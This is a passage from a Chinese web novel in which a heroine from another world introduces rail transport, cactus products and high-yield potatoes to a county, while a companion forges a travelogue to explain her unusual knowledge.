而且果核榨出的油,调配后有美白减皱功效,我们带来的大夫已经作出一批精油,请女工们做了对照实验,效果真的不错。” 温如初眼睛亮晶晶的:“那还等什么,立刻大规模投入生产,售卖赚钱啊。” 刘青青叹了口气:“大人,生产容易,问题是怎么卖到客人手中。你觉得常安县的百姓有几人会买?” 常安县被沙风寨盘剥已久,哪来的余钱。 温如初看着她,眼里都是慈祥:“阿青,你想说什么直接说就是,我们也算共患难的交情了,我把你当亲侄女看,不用和我藏着掖着!” 刘青青摸了摸鼻子,打了个冷噤,她从温如初眼中看到宠溺,像父亲那样的神色,有种她要什么,他都答应的感觉,大人莫不是被沙风寨的监工打坏了头! 她好想对他说,大人你醒醒,我们在谈生意,你这样毫无底线的信任,让我怎么好意思漫天要价? 对方不和她唇枪舌战分文不让,让她很没劲。 她有气无力的解释:“我们的东西肯 定要运送到府城售卖。 铁具不会坏,路况不好没关系,但是牛舌头果汁不一样,路上耽搁时间太长就坏了,护肤精油用精美的瓷瓶装,道路崎岖容易坏!” 温如初点头:“你说的有道理,我这就安排庞大人配合你,抽调民夫来修路!” 他有些羞愧:“只是衙门里经费紧张,只挪得出一万两,其他的需要你们先垫付,等秋税收起来,再给你们!” 一百多里路要修好,能走马车,没个五万两修不下来,衙门只出一万两,他也觉得有些过分了。 刘青青嗯了一声,声线不自觉带了些得意:“大人,我有个省钱的法子修路,要不试一试?” 第164章 第164章刘副官 她眼睛亮晶晶的,好似闪耀的星星,郭守云不自觉弯了弯嘴角。 每次她有新点子的时候就像这样得意,如同偷吃到葡萄的小狐狸。整个人亭亭直直立在那里,浑身都在说,快问我呀,快问我呀! 温如初眨眨眼,很是配合:“详细说说”。 刘青青介绍:“我们只要把马车轮走过的地方修起来,剩下的地方不用管。 她抄来一叠白纸,刷刷刷在上面勾勒出两条并行的线条,无论直行还是转弯,它们之间的宽度一直保持不变。 温如初想象中的路,平坦宽阔,能容两辆马车并肩而行,过相向交错。 他知道刘青青一向比投天马行空,但是,把宽阔的路面偷工减料成两条线,他实在接受不了,提出了一个无法解决的问题:“最优秀的马车夫,也不能保证马匹拉着马车一直在路面上,车轮掉下路面,容易翻车啊。” “要是我们把轮子固定在路上呢?” 温如初不由得笑出声:“怎么可能?” 试想,人走在田埂上不小心会掉进水田里,何况马车轮子。 刘青青又在白纸上勾勒:“我们把路修成这样丁形状的立在地面,把马车轮子做成圆台的模样,诺,像这样,两个轮子一起,就会卡在两条线路中间,马在前面拉车,可以用最小的力气,拉最多的货物!” 看着图上黑漆漆的一片,温如初沉默了。 感觉很有道理很厉害的样子,但是,他听不懂。 他茫然的看向郭守云。 郭守云眨眨眼,表示也听不懂。 但不妨碍他无条件支持:“我觉得比修路好!” 刘青青感叹,听不懂就对了,铁轨涉及复杂力学的运用,还有转弯时向心力的设计,她末世上学学物理的时候,做火车题算离心力算得痛不欲生欲-仙-欲-死,终于有人尝到了她的痛苦,这种感觉真的太爽了,喔嚯嚯嚯。 温如初仔细想了又想,试图找出这种修路方面的弊端,关乎民生大计,万分谨慎小心不为过。 他指着突出的窄小的路面摇头:“这些路用泥土肯定不得行,马车压两次便倒了,用木材吧,应该暂时可以,木头软,跑两个月下来,风吹雨淋日晒的,估计崩坏得快,需要不停的更换养护,后期费用太高,用石头也不合适,石头脆,卡不住马车轮。” 他的指头在桌面上敲了两下:“阿青你的想法很好,但是实现不了!” 寻到无懈可击的理由驳回刘青青,他歇了口气,举起茶杯喝水。 这女娃脑子里全是奇奇怪怪的点子,差点,他就不能跟上她的思路。 一旁的郭守云,若有所思,领会了刘青青的意思,举手补充:“大人,你忘了。我们手里有铁,可以用铁块铺路,铁轮作马车轮啊!” 耳朵里被“用铁铺路”灌满,温如初倒吸一口冷气,茶水呛到气管里,咳嗽得惊天动地。 好家伙,好家伙,用铁块铺道,好大的手笔,好大的格局。 思路瞬间打开,钢铁牢固耐磨,能完美的解决上面的问题,可是,太大气太豪横了! 一想到路面上全是泛着冷光的黑铁,温如初一阵子心跳加速,这铺的不是路,是钱。 不错不错,阿云总是能get到她的想法。 刘青青给了郭守云一个赞赏的眼神,继续对温如初循循善诱:“是啊,大人,谁规定的,路面必须是宽宽的呢,我们只要修两条能卡着车轮的窄路就可以了!” 说着她张开手掌比划了一下,大约有脚掌宽。 “叫路面不合适,不若叫路轨呗,!” “全用铁块是有点小贵,我们偷工减料一下,里头用木材,外面包上一层厚厚的铁皮,不就行啦!” 她顺便改了名字:“叫铁轨更合适,你们觉得如何?” 郭守云被她赞赏的眼神砸得晕乎乎的,满脑子都是她夸我呢,她夸我呢,听到她的询问,立刻回应:“甚好,甚好!简直太棒了!” 温如初本想叫上郭守云一起再找找其中的不足,可惜面前这人,其他事情上挺机灵冷静自持,在阿青面前只是应声虫一个。 没奈何,自己重新捡起图纸,从头到尾细细思索了一遍,确实无懈可击。 温如初做事谨慎,依旧不敢点头,只说要再考虑考虑。 刘青青又浇了一把火:“大人,其实这些不是空穴来风纸上谈兵,我们铁场里从矿洞中搬运铁矿石到炼铁坊,已经用上了这种路,他们用的是木质轨道。” “大人,我夸得天花乱坠,不如您亲自去看一眼如何?” 俗话说得好,闭门造车不如出门问道! 温如初是行动派,他立即动身,叫上衙门一众官员,共同前往铁场。 到了矿洞,只见两条松木搭在高低不平的地面,像并联的小桥一样,顺着矿洞,延伸到无尽的黑暗。 刘青青示意大家爬进四轮小车,郭守云赶着毛驴,开始了他们的矿洞之旅。 进入矿洞三丈后,气温光线立马降了下来。只有洞壁上的火把带来点点光晕,其他地方全是黑黝黝的,大家不由有些紧张防备。 这时,刘青青清脆的声音,随着毛驴脖子下的叮当声顺着风传来:“ 运送矿石甚是辛苦,一直全靠人用背篓背或担子挑,工人辛苦跑一天,最多背一吨半多一点,累得腰酸腿疼浑身不能动弹,能赚40文。 铁场按运输量付工钱,有的工人为了多赚钱,找木匠作独轮车拉,独轮车无视路况,拉的矿石比背的多,而且没有背矿累人。矿洞里的运输工人,全部自费掏腰包,订购独轮车,抛弃了背篓。 他们自发的把矿洞里的沟渠填平,让独轮车畅通无阻。一个工人一天下来,竟能拉三吨铁矿石,能领60文。 但是独轮车容易翻倒,多放些铁矿石,路上稍微歪一下,车便倒了,铁矿石泼洒一地,既费人力又挡着路,工人们纷纷要求木匠把独轮车改造成两轮车。 有的工人为了加大单次运输量,让木匠改成了四轮车,每日能拉五吨矿石,领的工钱达100文。 拉车的时候路面平整更加省力,矿洞里路矿复杂多变,没办法全部修建平整,他们一起合计,用木材垫在地面上,像桥那样,搭了两条小路让车轮通过,这样能快速省力的运输铁矿石。 有工人已经重金购买了毛驴,一次拉三辆相连的四轮车,单日运输量最大达到二十吨,能领400文工钱,连续干两个月,毛驴钱便赚回来了! 诺,就是我们现在坐的车! 比起马车来,大家感觉如何?” 听闻此言,温如初把视线集中在座下的木车上,木车很是简陋陈旧,许是为了迎接我们的考察,已经将车壁四周的泥土擦拭干净,但还有坑坑洼洼的印子,许是往日拉送铁矿石留下的。 每个车厢里放了几只小板凳,他们坐在上面,感觉甚是平稳,有轻微晃动,体验感比马车强得多。 还没回神,刘青青大喊:“大家抓稳咯!” 在他们的瞠目结舌中,毛驴也爬上了领头的小车,郭守云控制着领头小车的 方向,顺着斜坡冲了下去,直到一炷香后才缓缓停了下来。 坐了一次简陋版云霄飞车的温如初软着腿爬下车厢,晕眩着脑袋惨白着脸由衷的夸赞:“甚好,你们铁场的工人甚好!” 庞忠眼睛放光的看着周围的一切,这里摸摸,那里瞅瞅,眼里的羡慕后悔几乎要化作实质流出来:快速运货的木轨道,堆得满满的铁矿石,不用鞭子抽却不知疲倦的采矿人,县衙没亲自开发铁场,真是错过了一个亿! 修建铁轨一策,温如初意动了九分,平复好因失重剧烈跳动的心脏,正要问庞忠的意见,发现了他眼中的不甘,冷哼一声,意有所指扎醒他的幻想:“府城橡胶园在裴家手中,是无用的臭树,青华园变废为宝,做出了所有人争相抢购的橡胶枕。 铁场在沙风寨治理下,日产不过一百来吨,打制的铁器粗制滥造、闻所未闻,换了青华园,同样的工人,日产却上千吨,庞县令,你可有把握,做的比青华园要好?” 随同的下属官员不约而同望天,或者低头不吭声。 答案明摆着,庞县令连沙风寨都收拾不下来,哪里运转得了如此大的铁场。 温如初不允许自家的心血被人破坏,说话冷厉不留情面:“人要有自知之明,采矿修路富裕百姓之事,交给青华园来做,他们有专门的工匠,现成的售卖渠道,成功的经验,我们只需要配合,莫要胡乱插手!” 温如初一向很好说话,这是头一次疾言厉色,当众给他没脸。 庞忠感受到他眼里的寒意,心里打了个突,为自己刚才的失态惭愧后悔,忙不迭保证:“是,大人,下官一定竭力配合青华园,完成此事!” 他糊涂,青华园背景雄厚,温大人也要照顾三分,他哪里有资格太岁头上动土。将插手的心思彻底斩断。 鉴于他认错态度良好,温如初打一棒子,又给点甜枣,温声安慰:“这边你交给青华园,你只管坐镇县衙收他们的税,发展一下县里的文气,多培养些书生来。 来年会有许多文人到南安府游历,常安县的牛舌头是我们南安府特色,他们定然要来尝一尝,你作为一县主管,莫要让外人笑话了去!” 庞忠听得他口中的文人是外人,意思自己被知府大人划到自己人里头,喜得眉舒眼展,躬身讨好:“谨遵大人教诲,只是这牛舌头知名字有些上不得台面,不如大人改个名字?” 温如初有意给刘青青当众做脸,笑盈盈道:“刘副官,你来?” 刘青青不怯场,聊聊而谈:“闭门造车,不如仙人指路,不如叫仙人掌,如何?” 第165章 第165章老百姓视角 陈老爹是常安县里一个普通的农户,他早早的起床,到自家地里割了许多牛舌头,哦,不,现在叫仙人掌。 忙碌了一早晨,挑回家两大担子码放整齐的仙人掌,搁放在院子里,他双手掐腰微微晃动臀部,让重担压弓的腰慢慢舒展。 陈婆子早已经倒了盆热水出来,一面给他擦汗,一边给他揉着被扁担压红的肩头,嘴里的絮叨全是心疼:“家里又不等着米下锅,做什这样拼命哦!” 陈老爹终于站直了身,握拳用力在腰间邦邦敲打两下,毫不在意身体上的劳累:“圈里骆驼产奶没?” 陈婆子没好气:“收了收了,一天就挂着你那头宝贝骆驼!洗完脸快来吃饭罢。” 那是骆驼吗?那是家里的进项,女儿的房子钱就靠它了。 陈老爹不放心,先去后院圈里看了一眼,见骆驼安静的嚼着仙人掌叶,他添了几片嫩叶,洗了水盆,加入干净的清水,才踱步回了火房,看着木桌上雪白的肉包子,熬煮得绵绵的红枣粥,两碟小配菜,心满意足的坐下来。 这一年,家里的日子发生了翻天覆地的变化。 先是为害一方的沙风寨被彻底铲除,乡亲们不用再交人头税,也不怕被抓走,放心地外出做工劳作。 后来县里来了个青华大商行,开办起铁厂,他被沙风寨抓走的儿子,因祸得福成了里头的采矿工人,每个月能赚五两银子。 儿子在县城里买了房子,接他们去住。 老两口带着女儿去住了半年,干净笔直的街道,雪白的墙壁,青色的瓦片,叫人欢喜得梦中也能笑醒。 想他辛苦劳作一辈子,省吃俭用积攒一辈子,没换上瓦房,儿子竟然早早住上了,而且是城里的瓦房。 虽说房契还抵押在商行里,儿子解释,只要继续还够五年房款,房契就能拿回来。 这点子忧心,在看得见摸得到的新房子面前,不值一提。 可惜在城里住了这么半年,女儿被城里的小娘子带得心野了,嚷嚷着也要买自己的新房,以后在城里安家,再也看不上村里媒人说的人家。 他不明白,女儿将来嫁人,自然住到夫家去,买房做什么? 女儿一反平日的乖巧,和他又哭又闹,说那是哥哥买的房,是哥哥的家,不是自己的。 这个倔脾气的女娃,竟独自跑去作坊里报名上工,因她平时手脚勤快麻利,被录取了去,托女儿的福,陈老爹这才知道,作坊收购仙人掌,还可以赊购骆驼养殖。 城里儿子的院子小,没有牲口棚,老两口一合计,回乡下种仙人掌,反正这东西,即便不种也漫山遍野的。 别说,这土地特别邪门,小心翼翼的伺候的麦子高粱不成器,改种作坊买的仙人掌种苗以后,种几颗活几颗,郁郁葱葱长势喜人。 老叶子采了喂养骆驼,强壮的茎叶收集起来,卖到作坊里做酱菜,许是吃够了肥料,仙人掌结出来的果子,比野地里的牛舌头果子品相好,又大又红。 所以,这几个月,陈老爹隔两日就要去地里割一茬仙人掌,收割果子,收拾收拾,留下一部分喂养牲口,剩余的全送到城里的作坊换铜钱。 之前去城里挺费劲儿的,要赶着骆驼拉车颠簸半天,不过,那是老黄历了。 三个月之前,修通了府城到县城的铁路,恰好经过他们村口,只需要交上三文钱,就可以坐上铁路上的骆驼车,两顿饭的功夫,就到县城。 陈老爹撕下大肉包子的一层皮,夹了一筷子仙人掌作出的酱菜,裹在一起咬了一嘴,白面的清香,酱菜的酸脆综合在一起,给人予满足的感受。 他低头哆了一口粘稠的红枣粥,嘴里立马被清甜占满,他满意的眯着眼:“老太婆,这红枣粥不错,再来一碗!” 陈婆子没好气道:“骆驼下了奶,我得赶紧送到县城作坊去,你自个盛呗,今儿个大集,街上物品全,你想吃点啥?” 听她这么说,陈老爹连连点头:“是,你快去,多亏青华商行来回运粮,常平县的粮食才这么便宜。换些豆子回来呗,我想喝豆浆!” 陈婆子皱眉:“不是有骆驼奶么?我煮一碗给你?”豆浆多麻烦,大半夜要起来磨豆子,还要煮,累得慌! 陈老头也不恼:“你买些回来煮就是,多煮一些,剩余的点豆腐,我还挂着吃油炸臭豆腐呢!” 陈皮子嗤笑:“就你能吃,幸好有青华园,否者你还嘞着裤带子喝糙谷粥哩!” 老两口一边斗嘴,一边感叹青华园给常安县带来的翻天覆地的变化。这一年,乡亲们种植仙人掌,养殖骆驼,家家户户有源源不断的收入。 修通铁路后,拉来粮食,让本地高昂的粮价和府城一样便宜。种类繁多,豆子,花生,红枣,稻米,面粉、等应有尽有,只要肯劳作,餐桌上有肉有菜。 陈婆子背起背篓,里头是今早鲜挤出来的骆驼奶,她用白布盖好,匆忙往村口赶去。 站在村口的三个妇人见她,笑盈盈的打招呼。 几个妇人东家长西家短,谁家姑娘应聘上青华园里的工人,谁家儿子没被选中,是的,现在村里的姑娘,嫁得好的,都不如到青华园里上工有出息。 扯了一炷香的功夫,便听见叮叮咚咚的声音,两只高壮的骆驼,拉着两截车厢顺着黑黝黝的铁轨,平稳划滚了过来。 众人排队上了车,赶骆驼的车夫吆喝一声,骆驼又摇着脖子下的铃铛,顺着铁轨跑了起来。 车厢稳定的往前滑动,陈婆子从兜里掏出三个铜板塞到前面的箱子里,待听到清脆的哗啦声,她才往车厢内,寻了个空着的竹编凳子坐下。 车厢约摸有一丈宽,两丈长,铁质的地板,踩上去哒哒作响,头上是油布幡子,雨淋不到日晒不着。 这是专门拉客的骆驼车,还有运货的,那个一般早晚跑。 坐在车厢里的全是附近的村民,人人面前摆放着背篓担子笼子,去集市上换钱换粮。 到了县城,陈婆子先把奶送到作坊过称,有二公斤,加上仙人掌果等,得了五十文钱,她往集市上去,买了两公斤豆子花了十五文,留下三文坐车,剩下的全用了,换 了两公斤麦面,两公斤糙米,剪了三尺土布。 今日肉摊上的猪又大又肥,可惜她的铜板用光了。 她有些懊恼,转而又想,左右明日还来卖奶,换了铜钱又买。 陈婆子背起满满当当的背篓,登上回家的骆驼车。 大多数的家庭,过的日子和陈老爹家大差不离,只要肯动手劳作,总能实现吃喝自由。 常安县铁路如预计那样通车,立马如刘青青预料那般,飞速的拉动了常安县的经济。 每日间上百趟的骆驼车在铁轨上滑动,如同血液中的红细胞,将常安县的仙人掌酱菜、仙人掌果、铁器、骆驼奶、骆驼肉,运送到府城,又把府城里便宜的粮食,花样繁多的布料带回常安县。 而府城里很多人都知道了名不经传的常安县,因为青华园上架了的新产品,常安县骆驼奶,香浓可口,强身健骨。 还有仙人掌果,剥开厚厚的硬皮,里头的果肉甜嫩多汁,没有牙口的老人也爱吃。 原本的仙人掌果果子太小,刘青青悄悄动用了手指头上的生长液,有意识的使用升级后的能力,培育出汁多味甜的大果仙人掌植株,为此虚弱的缩在家里躺了一个月,日日喝着浓郁的骆驼奶,大鱼大肉进补,才慢慢恢复了一些。 常安县的每一项规划措施,郭守云一一的实现,刘青青对他的能力品行,是越来越放心,便把心思放在另外一项上,书院里被她偶然发现的土豆,成熟了。 在两只老虎的保驾护航下,在陈敬等人的誓死守卫下,她的土豆可以收获了。 这日,她挑了一个晴朗的日子,请了温如初到场,由郭守云领头,陈敬刘豪祝渊潘悔跟随,人手一把锄头开挖,当枯黄的植株下,挖出一串密密麻麻的土豆时,领着孩子们来秋游的温如初,没心思感叹秋高气爽了,撩起衣摆抢过锄头亲自挖了起来。 嘶,一颗苗下,少的五六颗土豆,大的有十二颗,一个个大如拳头胖嘟嘟挤在一起,甚是可爱喜人。 不晓得味道如何? 刘青青笑盈盈解释:“你们只管放心挖,我和姐姐就用你们现挖出来的土豆,做一顿全土豆宴,如何?” 温如初颔首,这比秋游有意思多了,领着几个小书生埋首挖土豆。 半亩地挖完,看着面前堆如小山的土豆,过称后竟然有一千公斤,温如初震惊了,激动得难以自持,世上竟然有产量这样高的作物,实在天佑南安,天佑大赵。 只要不是有毒,不是难以下咽,他一定要向朝廷禀报,大规模种植土豆。 在他愣神激动的时候,刘青青打发温一和来请他们洗手吃饭。 陈敬等人嗷一声丢了锄头,就往湖边跑,挖地的时候就闻到一股子浓郁的香味,馋得口水直流,偏偏温大人在,众人不敢放肆,埋头挖地,如今好不容易挖完了,可得大大吃一顿,找补回来! 第166章 第166章土豆十八式 几人顺着香味冲到湖边,石头临时搭建的锅洞里,橘黄色的火苗舔舐着黑灰色的锅底,炙热的温度让锅里的汤汁发出咕嘟咕嘟的声响,浓烈的香气从锅盖的缝隙里溢出来。 刘青青笑盈盈解释:“还差一点火候,你们先吃这个烤的垫吧垫吧。” 手中的火钳在火苗下堆积的灰烬中扒拉出几个黑乎乎的圆形黑炭。 陈敬,刘豪,祝渊,潘悔:“……” 确定这个不是烧焦的柴火? 几人对视一眼,艰难咽了咽口水,迟迟不愿伸手。 与他们不动声色的拒绝不同,郭守云用帕子慢丝调理的把手擦干,才双手接过一个土豆,他稍微用力一掰,黑色的外壳从中裂成两半,露出里面的土豆芯。 他低头,薄唇微微翘起,便把里头金黄的土豆芯勾到嘴里。 入口绵软滚烫,沙中带着淡淡的回甘,他满意点点头,如实评价:“尚可!” 不如红薯甜腻,也不像红薯那样烧胃,食用后有淡淡的饱腹感,可以替代稻米作为主食。 刘青青见他嘴角沾染了少许烟灰,却一脸严肃,做着最认真的点评,忍不住噗嗤笑了出来,凑上前用袖子帮他把嘴角擦干净。 郭守云傻了,忘记了躲避,仰或,根本不想躲避。 鼻端晕绕着她身上淡淡的奶香,他面上毫无表情,严肃得好似一尊石头像,但扑闪扑闪的眼睛,红得滴血的耳尖,昭示着此刻他内心的不平静。 刘豪几人吹口哨的,起哄的,闹腾腾:“我们也要!” 擦嘴嘴…… 被郭守云冷冷的眼风一扫,几人像被掐了脖子的鸭子,瞬间改变口风:“我们也要吃烤土豆!” 刘惠兰是个贤惠的,没刘青青狭促,他们打闹的时候,从锅洞里又淘出十多个土豆,带着厚手套,用小铁片刮掉黑色的锅巴,露出一层焦黄的锅巴,配了几碟咸菜,放在简易的小桌子上,请他们品尝。 几人不客气,一手抢了一个开吃。 土豆外层的锅巴焦脆鲜香,里头的芯子绵软沙糯,几人忍不住点头,不错不错。待抹上一点仙人掌酱菜,或者配上一点小香葱,辛辣酸脆中带着回甘,这土豆很是白搭啊。 温如初这个时候也到了,尝了一个后立马眼前一亮,这东西产量极其高,而且可烤可煮,清吃,或者配点咸菜,都很是果腹。 对穷苦百姓,真的非常友好。 人已经到齐,刘青青示意刘慧兰把准备的几个菜都端了上来。 她一一介绍:“红烧牛肉炖土豆,奶香土豆圆子,老奶土豆泥,欢乐焦盐土豆条,黄金大土豆,小炒肉!” 刘青青笑道:“来来来,我给你们介绍它们的做法。” “红烧牛肉炖煮得软趴趴的时候,放入滚刀土豆块一起,文火继续炖煮一刻钟便好了。 奶香土豆圆子,将土豆煮得软软的,剥皮后用勺子压细,加入少许骆驼奶团成圆子放油锅里煎炸,好了后裹上一层椰子粉,诺,是不是像雪球一样漂亮!” 老奶土豆也是一样的做法,准备好土豆泥后,锅里下猪油烧热,加入干辣椒段花椒粒等爆香,加入煮熟的四季豆和土豆泥一块翻炒一炷香,撒少许盐巴,便可以出锅了! 这个金黄色的土豆条,先把土豆切成长条,焯水至颜色变化后捞起,待土豆条凉透后擦干水分,下油锅煎炸,待熟透后起锅控油放凉,继续复炸!表皮变得酥脆后起锅,撒上焦盐,或者蘸着西番莲果酱吃! 黄金大土豆更简单,锅里下猪油,加入肥瘦相间的火腿丁爆香,囫囵倒入整个土豆,等表皮变色后,加入少许水,盖上锅盖小火闷烤,闻到一股诱人的香味就可以吃了。 诺,还有酸辣土豆丝,很是家常,把土豆去皮切成细丝,清水漂洗干净后,放锅中翻炒,起锅装盘的时候,加入少许醋便可。” 因培育仙人掌透支使用了营养液功能,还没有恢复,一口气介绍了这么多,说得她大汗淋漓,口干舌燥。 郭守云眼角微动,适时递上一杯温温的骆驼奶给她。 温如初颔首:“你们用心了!” 刘青青因为操劳常安县之事病倒,他已耳闻,原以为只是简单的风寒感冒,哪知竟伤了根本,才说了这么几句话便虚弱至极,心里有些愧疚,越发感激看中她,亲自请她入座。 温如初算是长辈,领着大家伙开始动筷子。 刘豪几人动了一筷子后,便再也停不下来,加了土豆的炖牛肉,竟然如此美味,浓香中多了一种滑润的感觉,极其入味。 嗯?土豆条外焦香里绵软,好吃。 酸辣土豆丝竟然是脆的。 小炒肉如此滑嫩鲜香…… 他们唏哩呼噜大快朵颐起来。 若说刘豪几人吃的是味道,温如初吃的便是世情。 桌上的几个土豆,酸甜香辣都有,集齐了各种口味,能兼顾所有人的味蕾。 廉价的酸辣土豆丝,做工复杂的土豆条,贵重的牛肉炖土豆,代表这土豆既是穷苦百姓的美味,也登得上富人的餐桌。 入口即化的土豆泥,外酥里绵的土豆条,兼顾了无牙的老人,又受到孩子们的喜爱,覆盖了所有人群。 而且,最重要的是,土豆量产高,不挑地。 刘青青真是菩萨派来的善财童女。 他实在高兴,忍不住询问:“你如何知道土豆量产这样高,而且能这样做菜?” 菜是刘慧兰做的,但是,必然是刘青青在一旁指导。 刘青青卡壳了。 因她竭力推广农户种植棉花,导致南安府稻谷种植面积下降,这年头,万一有个天灾人祸的,整个南安府就要完蛋,是以发现了土豆后,她迫不及待想大面积推广农户种植,保证农户最基本的口粮。 因为急迫,所以漏了行迹,她张了张嘴,半响,没有说出话,实在不知道该如何解释她生而知之。 正当她绞尽脑汁想着圆回来的时候,郭守云淡淡道:“她从书上看来的!是一个英吉利人写的游记,她和我提过好多次!” 刘青青惊愕的看着他,她不过顺嘴打哈哈,哪知被他当了真。 刘慧兰也点头,表示二妹从游记上知道了许多事,小到地里的土狗子,大到人人嫌弃的臭树可以割橡胶。 温如初被他的话吸引:“游记还在么,能不能借我一阅?” 刘青青麻了,她去哪找一本游记来? 郭守云点点头;“在的,上次休假被我带回了常平县老家,过些日子,他们送货来的时候,我让他们带来,可以么?” 温如初挂心他们嘴中的游记,本想让郭守云立刻回去取的,一想到刘青青因为替他办事,大病一场,郭守云看重刘青青,定然随在身边照顾,便开不了这个口。 左右没几天,慢慢等就是。 因为这一顿土豆宴,温如初决定采纳刘青青的意见,南安府全力推广种植土豆。 育苗的事情,依旧交给青华园。 刘青青喜忧参半,喜的是,百姓种植土豆后,不再受饥饿之苦,忧的是,自己才用了营养液功能改善仙人掌果,身体还未将养回来,若继续使用升级后的营养液功能提高土豆的产量,只怕身子吃不消。 偏偏最近她有种莫名其妙的急迫感:若不尽快让百姓们储存大量的存粮,好似将发生很不好的事情。 她也不明白为何会产生这种奇怪的感觉,但是,许多事情,她也解释不清,比如为什么她会来到这个世界,为什么她会拥有小水滴功能。 回到青华园,她正要躲回房间透支身体调配营养液,郭守云拉住她:“你的游记呢?” 刘青青一拍脑袋,差点忘了这茬,呆呆的看着他,支支吾吾半天。 汰,她该从哪里变出一本游记来! 郭守云看着她窘迫的模样,她也有做不到的时候,这才真实嘛。 眼角不自觉弯着,从琳琅满目的书架上抽出一本破破烂烂的旧书:“可是这本?” 刘青青接过一看,这书甚至是破旧,甚至有些地方还有污渍,而且,讲诉的事情,竟然全是他们身边种种,还有些异想天开之言。 无论是野生菌,木薯,辣椒,还是仙人掌,上面都有记载。 别人不清楚,但刘青青能不明白吗? 这本书根本是她杜撰出来的,现在居然活生生出现在她面前,意味着什么? 刘青青定定的看着他,半响问出心中的猜测:“你写的?” 郭守云在她脑门上弹了一下:“你做事顾头不顾尾,我担心将来有人对你不利,便做了这本旧书,把你的发现,都写了上去!” “阿青,没有人生来知之,这世间聪明人太多,南安府偏安一隅,我们暂时无比碍。随着青华园名气越来越大,我怕你会入了那些聪明人的眼,他们会发现你的与众人不同。” 他的语气沮丧至极:“我怕,那些人把你抓了去,他们为了达到目的,不会在乎普通人的死活。” “我们需要这么一本书,将一切的不合理都解释清楚!” “所以,剩下的部分,我们现在一起把它补完!” 刘青青沉默了,幽幽开口:“你,不怕我吗?” 第167章 第167章上册 郭守云惊诧了一下,而后扭捏不已,语气里全是被捉住痛脚的心虚羞恼:“被、被你发现了,我自然是怕的!” 刘青青亮晶晶的双眸变得暗淡,脑袋上翘起的头发也耷拉了下去。 果然,连最信任的阿云,都惧怕她这个来自末世的孤魂。 她自嘲一笑,他们这么熟,阿云,应该不会出卖她,绑她去驱邪吧? 正当她想着怎么解释她不是鬼,不会伤害人的时候,耳边传来少年扭捏的声音:“我好怕,怕你这么聪明能干,我普通平凡不能与你并肩,所以我拼了命的读书,赚取功名。 我好怕,怕你走南闯北,认识了其他卓越的男子后,不愿搭理我,所以我一直跟在你身边。 我也好怕,怕你莫名其妙变得虚弱,万一有个一二,留下我一人孤苦伶仃!” 郭守云鼻音浓重,带了不自觉的恐慌。 明明每日他用心的照顾她饮食起居,一顿不拉的卡着她有鱼有肉有菜营养均衡吃下三大碗,天冷加衣,天热喂绿豆汤,养的比棉花黑炭还精心,她为什么就生病了呢? 大夫束手无策的,莫名其妙的气虚体弱。 他不由得想到了一个词,慧极早夭,难道是因为阿青脑子用得太多,所以身体不好么? 聪明伶俐的她像颗珍珠一样闪闪夺目,但对他而言,那个活蹦乱跳的刘青青才是最美的。 对上少年挫败担忧的眼神,刘青青噗嗤笑了,身上的孤寂消散得一干二净。 她就说嘛,别人会嫌弃她,但是阿云一定不会。 郭守云有些恼怒:“你还笑?你自己的身体出了问题,你竟然还笑得出来!” 刘青青伸出食指,暗暗用力凝聚。 在郭守云莫名其妙的眼神中,一滴晶莹剔透的露珠在她手指尖滚动,随着露珠滴落到茶杯里,她的身子也虚弱的晃动了一下。 郭守云好似领悟到了什么,连忙扶她坐下。 刘青青兑了些清水到茶杯中,摇晃均匀,浇到案桌上的橘子盆景里。 神奇的事情发生了,本来只是长了几片叶子的普通橘子树,浇了茶水后,短短一炷香功夫,花开花谢,挂满橙黄的橘子,满室果香。 刘青青解释:“这个就是青华园崛起的最大原因,也是我生病的原因!” 郭守云一点就通,眼里全是不赞同:“所以,常安县的仙人掌果突然变得肉多汁甜,是因为你悄悄榨干你自己?” 这词有点不对头,什么叫榨干,但好像又没说错,刘青青一时语塞,找不到反驳的话。 郭守云狠狠把茶杯扫在了地上。 看着她还有些得意,他气得抓住她的肩:“刘青青,你醒醒,青华园能走到今日,成为南安府数一数二的大商行,不是因为你那莫名其妙的手指头,而是因为你!” 刘青青眨巴眨巴眼睛,盯着自己的手指头,有片刻的迷茫,我和我的手指头,不都是我么? 郭守云深深吸了几口气,缓慢而坚定道:“阿青,青华园能走到今日,最大的原因是你的不屈不饶,即便再大的难题,你也能挖空心思去应对解决,或许这个过程中,你生而知之,你手指头的小水滴给了你帮助,但,那些是外在的,最根本的原因,在于你的不服输,你的敢想敢拼。” “我相信,即便没有了小水珠,没有了生而知之的能力,只要你有一口气,你也会不停的去探索,去闯荡,去解决,这才是你!” 刘青青愕然的听着他分析,她,没他想象中那么好吧。 不过,被人承认优秀,还是很美的。 她难得羞赧的低头一笑。 郭守云严肃道:“所以,你才是最根本的,我不允许你再用这种透支自己生命的方法,弄这老 什子小水滴。” 他逮起她的手,张嘴狠狠的在她手指上留下一个牙印:“你若再犯,我便咬断这颗手指头!” 他知道她如此做是为了让老百姓们的日子过得更好,可是,旁人吃不吃得饱,与他何干,他只要刘青青好好的,一辈子长乐无忧。 在她心目中一向是乖巧体贴的弟弟郭守云,板着脸俯视她,严词厉色的对她提要求,还,发疯一般咬-她的手,呜呜,好疼好吓人。 她缩了缩脖子,怕怕的点点头。 达到目的,郭守云提出另一个问题:“现在,我们来解决你生而知之的问题!” 刘青青老实回答:“我来这个世界的时候,还有另外一个世界的生活记忆,能全都套过来!” 郭守云不以为意,他早就猜到了。 他头疼的捏了捏眉心,点了点桌子上的书:“除了上面写这些,你还有些什么点子,都说出来,我编写进去。” 刘青青顺着翻看,厚厚一册书,小到母猪的产后护理,大到高炉炼铁,郭守云把青华园一路走来的所有发明都写了进去,许是为了混淆视听,里头间或穿插了:地面真的是平的吗?有一个地方只有春天和秋天,奇怪的黑人,鸡鸡长在脸上的动物等诸如此类吸睛的故事。 这本书以一个叫鲁宾寻的色目人为主角,只身到处闯荡为主线,介绍了一系列的奇异故事,很是引人入胜。 要不是知道这是郭守云杜撰的,她都要以为里头的故事是真的。 因为,地面真的不是平的。 刘青青好奇的问他:“你为何在书里写地面不是平的?” 郭守云白她一眼:“因为每次我看到离开的人,都是他的脑袋最后消失。如果是平的,应该全身慢慢变小成一个点,而不是脑袋!” “行了,那些都是我根据平时的观察,杜撰出来的,现在说说,你还有些什么想法,我添加上去,圆了故事,还要把书做旧,后边麻烦事多着呢!” 刘青青有些无辜:“嗯,多了去了,就说近的罢。 比如,棉花可以织布,土豆可以拿来酿酒,我们可以用铁做一种武器,间隔两里路把金人射杀,避免和他们短兵相交。 